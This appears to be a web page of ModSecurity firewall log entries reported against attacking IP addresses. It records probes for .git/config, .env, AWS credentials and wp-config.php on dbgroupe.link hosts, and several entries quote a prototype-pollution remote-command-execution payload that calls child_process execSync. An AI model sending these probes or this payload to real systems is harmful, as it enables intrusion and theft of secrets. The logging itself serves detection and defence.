|
🇧🇪
35.210.238.60
|
|
12/Nov/2026:04:07:34.113092Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.210 ...
show more
12/Nov/2026:04:07:34.113092Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.210.238.60] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avWB1kVGMJkNIfUTsXZNAAAAAAs"]
12/Nov/2026:04:07:38.878585Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.210.238.60] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇵🇱
45.138.12.24
|
|
12/Nov/2026:03:34:14.735651Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138 ...
show more
12/Nov/2026:03:34:14.735651Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.24] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ntopng.dbgroupe.link"] [uri "/.git/config"] [unique_id "avV6BhNouTIQdpC1dSbllgAAAAg"]
12/Nov/2026:03:34:24.628026Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.24] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇵🇱
45.138.12.25
|
|
12/Nov/2026:02:36:27.768105Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138 ...
show more
12/Nov/2026:02:36:27.768105Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.25] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ocd.dbgroupe.link"] [uri "/.git/config"] [unique_id "avVse77R5hmYXKkrHEQZUAAAAA4"]
12/Nov/2026:02:36:33.782784Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.25] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"]
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇹🇼
34.80.206.10
|
|
12/Nov/2026:00:44:09.364767Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.80. ...
show more
12/Nov/2026:00:44:09.364767Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.80.206.10] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇵🇱
45.138.12.35
|
|
11/Nov/2026:23:01:14.806550Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138 ...
show more
11/Nov/2026:23:01:14.806550Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.35] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "quelesestmonip.dbgroupe.link"] [uri "/backend/.env"] [unique_id "avU6CjWvynjR3BnzatIFOgAAAA4"]
11/Nov/2026:23:02:28.774099Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.35] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"]
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇱🇹
91.224.92.49
|
|
11/Nov/2026:22:17:26.993517Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 91.224 ...
show more
11/Nov/2026:22:17:26.993517Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 91.224.92.49] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/+CSCOU+/csco_logo.gif"] [unique_id "avUvxmb1lSVbHeTygtu1pwAAAAI"]
11/Nov/2026:22:17:28.731408Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 91.224.92.49] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
32.195.61.205
|
|
11/Nov/2026:20:40:01.327171Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 32.195 ...
show more
11/Nov/2026:20:40:01.327171Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 32.195.61.205] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "quelesestmonip.dbgroupe.link"] [uri "/wp-config.php"] [unique_id "avUY8SM4JBN2fmtooj6bNgAAACQ"]
11/Nov/2026:20:40:01.329874Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 32.195.61.205] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
213.209.159.133
|
|
11/Nov/2026:19:49:29.883104Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 213.20 ...
show more
11/Nov/2026:19:49:29.883104Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 213.209.159.133] ModSecurity: Warning. Pattern match "\\\\\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1082"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "quelestmonip.dbgroupe.link"] [uri "/.env~"] [unique_id "avUNGfM_8GuAnzbfoeGLeQAAACU"]
11/Nov/2026:19:49:29.883104Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 213.209.159.133] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
66.132.195.74
|
|
11/Nov/2026:19:15:45.614062Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132 ...
show more
11/Nov/2026:19:15:45.614062Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.195.74] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avUFMXnFDccgopoQT-ZPeAAAAAc"]
11/Nov/2026:19:15:50.151326Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.195.74] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
86.54.31.38
|
|
11/Nov/2026:15:52:43.484555Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 86.54. ...
show more
11/Nov/2026:15:52:43.484555Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 86.54.31.38] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avTVm5GuWHFC0i7IZT1PfgAAAAI"]
11/Nov/2026:15:52:51.565279Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 86.54.31.38] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇵🇱
45.138.12.16
|
|
11/Nov/2026:15:17:37.686893Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138 ...
show more
11/Nov/2026:15:17:37.686893Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.16] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.dbgroupe.link"] [uri "/.git/config"] [unique_id "avTNYWzXP_7Y5Aorl-DNtgAAAAk"]
11/Nov/2026:15:17:38.059984Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.138.12.16] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
77.91.71.90
|
|
11/Nov/2026:14:12:08.135064Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 77.91. ...
show more
11/Nov/2026:14:12:08.135064Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 77.91.71.90] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113:443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avS-CNl83lFt8QFHbDzzzwAAAAg"]
11/Nov/2026:14:12:08.440774Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 77.91.71.90] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "703"] [id "920340"] [msg "Request Containing Content, but Missing
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
66.132.186.204
|
|
11/Nov/2026:13:20:21.665015Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132 ...
show more
11/Nov/2026:13:20:21.665015Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.186.204] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSx5Z0J0DAe7YGoFI3BDgAAAAs"]
11/Nov/2026:13:20:31.384871Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.186.204] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numer
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
66.132.159.95
|
|
11/Nov/2026:10:50:03.964190Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132 ...
show more
11/Nov/2026:10:50:03.964190Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.159.95] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSOq_aqvNPNwOZpQ9t6cgAAAAQ"]
11/Nov/2026:10:50:53.127821Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 66.132.159.95] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
94.102.49.190
|
|
11/Nov/2026:10:29:17.006376Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.102 ...
show more
11/Nov/2026:10:29:17.006376Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.102.49.190] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSJzbuy3nDJrwu0hg1hZQAAAAE"]
11/Nov/2026:10:29:21.883844Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.102.49.190] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
80.82.77.139
|
|
11/Nov/2026:10:21:15.662401Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 80.82. ...
show more
11/Nov/2026:10:21:15.662401Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 80.82.77.139] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric IP address"] [data "153.68.201.113"] [severity "WARNING"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "153.68.201.113"] [uri "/"] [unique_id "avSH6_9G5E7HyXAIX6ovOAAAAA4"]
11/Nov/2026:10:21:20.483173Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 80.82.77.139] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "736"] [id "920350"] [msg "Host header is a numeric I
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇧🇪
35.233.97.20
|
|
11/Nov/2026:09:17:16.146589Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.233 ...
show more
11/Nov/2026:09:17:16.146589Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.233.97.20] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ntopng.dbgroupe.link"] [uri "/.aws/.env"] [unique_id "avR47MlYOvEusV2oukicfAAAABE"]
11/Nov/2026:09:17:16.237452Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.233.97.20] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
45.148.10.21
|
|
11/Nov/2026:06:56:01.009476Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148 ...
show more
11/Nov/2026:06:56:01.009476Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.21] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "cloud.dbgroupe.link"] [uri "/.aws/.env"] [unique_id "avRX0dC235LDgzhTB3uEMgAAAAI"]
11/Nov/2026:06:56:01.099581Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.148.10.21] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dl
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇭🇰
35.241.126.29
|
|
11/Nov/2026:06:55:35.379745Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.241 ...
show more
11/Nov/2026:06:55:35.379745Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.241.126.29] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [ta
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇧🇪
34.76.228.132
|
|
11/Nov/2026:06:10:29.168016Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.76. ...
show more
11/Nov/2026:06:10:29.168016Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.76.228.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ocd.dbgroupe.link"] [uri "/.aws/.env"] [unique_id "avRNJQKMlp1USZ4weiXnawAAAAQ"]
11/Nov/2026:06:10:29.258034Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.76.228.132] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "9301
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇭🇰
35.220.166.110
|
|
11/Nov/2026:04:31:29.094917Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.220 ...
show more
11/Nov/2026:04:31:29.094917Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 35.220.166.110] ModSecurity: Warning. Pattern match "(?:\\\\\\\\$(?:\\\\\\\\((?:\\\\\\\\(.*\\\\\\\\)|.*)\\\\\\\\)|\\\\\\\\{.*\\\\\\\\})|[<>]\\\\\\\\(.*\\\\\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "367"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [t
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
195.178.110.159
|
|
11/Nov/2026:02:59:20.486847Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.17 ...
show more
11/Nov/2026:02:59:20.486847Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.178.110.159] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1128"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "cosmos.dbgroupe.link"] [uri "/.git/config"] [unique_id "avQgWI6WgnDFX3Asr2xsXQAAAAk"]
11/Nov/2026:02:59:20.486847Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 195.178.110.159] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [fil
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇪🇸
34.175.146.213
|
|
11/Nov/2026:02:29:01.943595Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 34.175 ...
show more
